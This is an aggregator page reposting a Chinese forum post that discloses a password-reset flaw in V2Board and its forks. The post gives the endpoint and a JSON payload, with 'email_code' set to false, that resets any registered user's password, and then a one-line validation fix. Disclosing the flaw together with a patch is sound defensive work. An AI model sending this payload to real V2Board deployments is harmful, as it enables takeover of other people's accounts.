WWW.YOUINFO.SITE
标签聚合 V2Board

/tag/V2Board

LinuxDo 最新话题 · 2026-05-23 01:28:51+08:00 · tech

V2Board及其所有分支漏洞,影响全部版本,该漏洞可修改一切已注册用户账号密码 复现方式: API端点: api/v1/passport/auth/forget Payload: JSON { "email":"任意一个已注册用户", "password": "密码", "email_code": false } 即可重置对应账户密码 最小改动修复方式: app/Http/Requests/Passport/AuthForget.php 找到’email_code’ => ‘required’ 改成’email_code’ => ‘required|string|digits:6’ 2 个帖子 - 2 位参与者 阅读完整话题